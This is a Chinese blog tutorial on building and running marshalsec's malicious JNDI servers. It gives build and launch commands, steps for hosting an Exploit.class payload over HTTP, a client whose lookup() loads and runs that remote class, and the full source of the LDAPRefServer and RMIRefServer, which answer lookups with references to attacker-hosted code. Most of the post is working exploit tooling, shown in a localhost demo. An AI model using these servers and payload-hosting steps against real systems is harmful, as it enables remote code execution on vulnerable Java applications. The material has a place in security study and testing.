java 开源项目marshalsec,快速搭建jndi相关server,目前实现了ldap,rmi。

本文主要是介绍java 开源项目marshalsec,快速搭建jndi相关server,目前实现了ldap,rmi。,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

开源项目的git代码地址:GitHub - mbechler/marshalsec

实现了ldap,rmi 的server端代码。

shi

编译

这里跳过编译时的test

mvn "-Dmaven.test.skip=true" -P  clean package

编译后target目录 

 

演示如何启动ldap服务

上传编译后的class文件到http服务器

把Exploit.class文件放在http服务器上,这里使用nginx服务器,访问地址为http://127.0.0.1/test/Exploit.class.

启动ldap

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/test/#Exploit 1099

其中: http://127.0.0.1:80 指http服务地址,Exploit代表Exploit.class文件 ,1099 指ldap服务的端口

 看到listening on  0.0.0.0:1099即启动成功

java 使用jndi 加载ladp上的class文件,并在本地执行

package test.anquan;import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;public class Test {public static void main(String[] args) throws NamingException {//	     Hashtable<String,String> HashEnv = new Hashtable<String,String>();HashEnv.put(Context.SECURITY_AUTHENTICATION, "simple"); // LDAP访问安全级别(none,simple,strong)
//        HashEnv.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory"); // LDAP工厂类Context ctx = new InitialContext();ctx.lookup("ldap://127.0.0.1:1099/test/#Exploit");ctx.close();}
}

输出

 具体报错原因,后面有时间在分析把

项目中关于ldap,rmi的server端实现代码

ldap


package marshalsec.jndi;import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;/*** LDAP server implementation returning JNDI references* * @author mbechler**/
public class LDAPRefServer {private static final String LDAP_BASE = "dc=example,dc=com";public static void main ( String[] args ) {int port = 1389;if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {System.err.println(LDAPRefServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$System.exit(-1);}else if ( args.length > 1 ) {port = Integer.parseInt(args[ 1 ]);}try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen", //$NON-NLS-1$InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ds.startListening();}catch ( Exception e ) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;/*** */public OperationInterceptor ( URL cb ) {this.codebase = cb;}/*** {@inheritDoc}** @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)*/@Overridepublic void processSearchResult ( InMemoryInterceptedSearchResult result ) {String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "foo");String cbstring = this.codebase.toString();int refPos = cbstring.indexOf('#');if ( refPos > 0 ) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
}

rmi

package marshalsec.jndi;import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.io.OutputStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.net.URLClassLoader;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObject;
import java.rmi.server.UID;
import java.util.Arrays;import javax.naming.Reference;
import javax.net.ServerSocketFactory;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import marshalsec.util.Reflections;
import sun.rmi.server.UnicastServerRef;
import sun.rmi.transport.TransportConstants;/*** Generic JRMP listener* * JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory.* * This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121.* * @author mbechler**/
@SuppressWarnings ( {"restriction"
} )
public class RMIRefServer implements Runnable {private int port;private ServerSocket ss;private Object waitLock = new Object();private boolean exit;private boolean hadConnection;private URL classpathUrl;public RMIRefServer ( int port, URL classpathUrl ) throws IOException {this.port = port;this.classpathUrl = classpathUrl;this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);}public boolean waitFor ( int i ) {try {if ( this.hadConnection ) {return true;}System.err.println("Waiting for connection");synchronized ( this.waitLock ) {this.waitLock.wait(i);}return this.hadConnection;}catch ( InterruptedException e ) {return false;}}/*** */public void close () {this.exit = true;try {this.ss.close();}catch ( IOException e ) {}synchronized ( this.waitLock ) {this.waitLock.notify();}}public static final void main ( final String[] args ) {int port = 1099;if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {System.err.println(RMIRefServer.class.getName() + "<codebase_url#classname> [<port>]");System.exit(-1);return;}if ( args.length >= 2 ) {port = Integer.parseInt(args[ 1 ]);}try {System.err.println("* Opening JRMP listener on " + port);RMIRefServer c = new RMIRefServer(port, new URL(args[ 0 ]));c.run();}catch ( Exception e ) {System.err.println("Listener error");e.printStackTrace(System.err);}}@Overridepublic void run () {try {@SuppressWarnings ( "resource" )Socket s = null;try {while ( !this.exit && ( s = this.ss.accept() ) != null ) {try {s.setSoTimeout(5000);InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();System.err.println("Have connection from " + remote);InputStream is = s.getInputStream();InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);// Read magic (or HTTP wrapper)bufIn.mark(4);try ( DataInputStream in = new DataInputStream(bufIn) ) {int magic = in.readInt();short version = in.readShort();if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {s.close();continue;}OutputStream sockOut = s.getOutputStream();BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);try ( DataOutputStream out = new DataOutputStream(bufOut) ) {byte protocol = in.readByte();switch ( protocol ) {case TransportConstants.StreamProtocol:out.writeByte(TransportConstants.ProtocolAck);if ( remote.getHostName() != null ) {out.writeUTF(remote.getHostName());}else {out.writeUTF(remote.getAddress().toString());}out.writeInt(remote.getPort());out.flush();in.readUTF();in.readInt();case TransportConstants.SingleOpProtocol:doMessage(s, in, out);break;default:case TransportConstants.MultiplexProtocol:System.err.println("Unsupported protocol");s.close();continue;}bufOut.flush();out.flush();}}}catch ( InterruptedException e ) {return;}catch ( Exception e ) {e.printStackTrace(System.err);}finally {System.err.println("Closing connection");s.close();}}}finally {if ( s != null ) {s.close();}if ( this.ss != null ) {this.ss.close();}}}catch ( SocketException e ) {return;}catch ( Exception e ) {e.printStackTrace(System.err);}}private void doMessage ( Socket s, DataInputStream in, DataOutputStream out ) throws Exception {System.err.println("Reading message...");int op = in.read();switch ( op ) {case TransportConstants.Call:// service incoming RMI calldoCall(in, out);break;case TransportConstants.Ping:// send ack for pingout.writeByte(TransportConstants.PingAck);break;case TransportConstants.DGCAck:UID.read(in);break;default:throw new IOException("unknown transport op " + op);}s.close();}private void doCall ( DataInputStream in, DataOutputStream out ) throws Exception {ObjectInputStream ois = new ObjectInputStream(in) {@Overrideprotected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName()) ) {return ObjID[].class;}else if ( "java.rmi.server.ObjID".equals(desc.getName()) ) {return ObjID.class;}else if ( "java.rmi.server.UID".equals(desc.getName()) ) {return UID.class;}else if ( "java.lang.String".equals(desc.getName()) ) {return String.class;}throw new IOException("Not allowed to read object");}};ObjID read;try {read = ObjID.read(ois);}catch ( java.io.IOException e ) {throw new MarshalException("unable to read objID", e);}if ( read.hashCode() == 2 ) {// DGChandleDGC(ois);}else if ( read.hashCode() == 0 ) {if ( handleRMI(ois, out) ) {this.hadConnection = true;synchronized ( this.waitLock ) {this.waitLock.notifyAll();}return;}}}/*** @param ois* @param out* @throws IOException* @throws ClassNotFoundException* @throws NamingException*/private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws Exception {int method = ois.readInt(); // methodois.readLong(); // hashif ( method != 2 ) { // lookupreturn false;}String object = (String) ois.readObject();System.err.println("Is RMI.lookup call for " + object + " " + method);out.writeByte(TransportConstants.Return);// transport optry ( ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl) ) {oos.writeByte(TransportConstants.NormalReturn);new UID().write(oos);System.err.println(String.format("Sending remote classloading stub targeting %s",new URL(this.classpathUrl, this.classpathUrl.getRef().replace('.', '/').concat(".class"))));ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", this.classpathUrl.getRef(), this.classpathUrl.toString()));Field refF = RemoteObject.class.getDeclaredField("ref");refF.setAccessible(true);refF.set(rw, new UnicastServerRef(12345));oos.writeObject(rw);oos.flush();out.flush();}return true;}/*** @param ois* @throws IOException* @throws ClassNotFoundException*/private static void handleDGC ( ObjectInputStream ois ) throws IOException, ClassNotFoundException {ois.readInt(); // methodois.readLong(); // hashSystem.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));}@SuppressWarnings ( "deprecation" )protected static Object makeDummyObject ( String className ) {try {ClassLoader isolation = new ClassLoader() {};ClassPool cp = new ClassPool();cp.insertClassPath(new ClassClassPath(Dummy.class));CtClass clazz = cp.get(Dummy.class.getName());clazz.setName(className);return clazz.toClass(isolation).newInstance();}catch ( Exception e ) {e.printStackTrace();return new byte[0];}}public static class Dummy implements Serializable {private static final long serialVersionUID = 1L;}static final class MarshalOutputStream extends ObjectOutputStream {private URL sendUrl;public MarshalOutputStream ( OutputStream out, URL u ) throws IOException {super(out);this.sendUrl = u;}MarshalOutputStream ( OutputStream out ) throws IOException {super(out);}@Overrideprotected void annotateClass ( Class<?> cl ) throws IOException {if ( this.sendUrl != null ) {writeObject(this.sendUrl.toString());}else if ( ! ( cl.getClassLoader() instanceof URLClassLoader ) ) {writeObject(null);}else {URL[] us = ( (URLClassLoader) cl.getClassLoader() ).getURLs();String cb = "";for ( URL u : us ) {cb += u.toString();}writeObject(cb);}}/*** Serializes a location from which to load the specified class.*/@Overrideprotected void annotateProxyClass ( Class<?> cl ) throws IOException {annotateClass(cl);}}
}

这篇关于java 开源项目marshalsec,快速搭建jndi相关server,目前实现了ldap,rmi。的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1140249

相关文章

JVM 的类初始化机制

前言 当你在 Java 程序中new对象时,有没有考虑过 JVM 是如何把静态的字节码(byte code)转化为运行时对象的呢,这个问题看似简单,但清楚的同学相信也不会太多,这篇文章首先介绍 JVM 类初始化的机制,然后给出几个易出错的实例来分析,帮助大家更好理解这个知识点。 JVM 将字节码转化为运行时对象分为三个阶段,分别是:loading 、Linking、initialization

Spring Security 基于表达式的权限控制

前言 spring security 3.0已经可以使用spring el表达式来控制授权,允许在表达式中使用复杂的布尔逻辑来控制访问的权限。 常见的表达式 Spring Security可用表达式对象的基类是SecurityExpressionRoot。 表达式描述hasRole([role])用户拥有制定的角色时返回true (Spring security默认会带有ROLE_前缀),去

浅析Spring Security认证过程

类图 为了方便理解Spring Security认证流程,特意画了如下的类图,包含相关的核心认证类 概述 核心验证器 AuthenticationManager 该对象提供了认证方法的入口,接收一个Authentiaton对象作为参数; public interface AuthenticationManager {Authentication authenticate(Authenti

Spring Security--Architecture Overview

1 核心组件 这一节主要介绍一些在Spring Security中常见且核心的Java类,它们之间的依赖,构建起了整个框架。想要理解整个架构,最起码得对这些类眼熟。 1.1 SecurityContextHolder SecurityContextHolder用于存储安全上下文(security context)的信息。当前操作的用户是谁,该用户是否已经被认证,他拥有哪些角色权限…这些都被保

Spring Security基于数据库验证流程详解

Spring Security 校验流程图 相关解释说明(认真看哦) AbstractAuthenticationProcessingFilter 抽象类 /*** 调用 #requiresAuthentication(HttpServletRequest, HttpServletResponse) 决定是否需要进行验证操作。* 如果需要验证,则会调用 #attemptAuthentica

Spring Security 从入门到进阶系列教程

Spring Security 入门系列 《保护 Web 应用的安全》 《Spring-Security-入门(一):登录与退出》 《Spring-Security-入门(二):基于数据库验证》 《Spring-Security-入门(三):密码加密》 《Spring-Security-入门(四):自定义-Filter》 《Spring-Security-入门(五):在 Sprin

Java架构师知识体认识

源码分析 常用设计模式 Proxy代理模式Factory工厂模式Singleton单例模式Delegate委派模式Strategy策略模式Prototype原型模式Template模板模式 Spring5 beans 接口实例化代理Bean操作 Context Ioc容器设计原理及高级特性Aop设计原理Factorybean与Beanfactory Transaction 声明式事物

这15个Vue指令,让你的项目开发爽到爆

1. V-Hotkey 仓库地址: github.com/Dafrok/v-ho… Demo: 戳这里 https://dafrok.github.io/v-hotkey 安装: npm install --save v-hotkey 这个指令可以给组件绑定一个或多个快捷键。你想要通过按下 Escape 键后隐藏某个组件,按住 Control 和回车键再显示它吗?小菜一碟: <template

Java进阶13讲__第12讲_1/2

多线程、线程池 1.  线程概念 1.1  什么是线程 1.2  线程的好处 2.   创建线程的三种方式 注意事项 2.1  继承Thread类 2.1.1 认识  2.1.2  编码实现  package cn.hdc.oop10.Thread;import org.slf4j.Logger;import org.slf4j.LoggerFactory

如何用Docker运行Django项目

本章教程,介绍如何用Docker创建一个Django,并运行能够访问。 一、拉取镜像 这里我们使用python3.11版本的docker镜像 docker pull python:3.11 二、运行容器 这里我们将容器内部的8080端口,映射到宿主机的80端口上。 docker run -itd --name python311 -p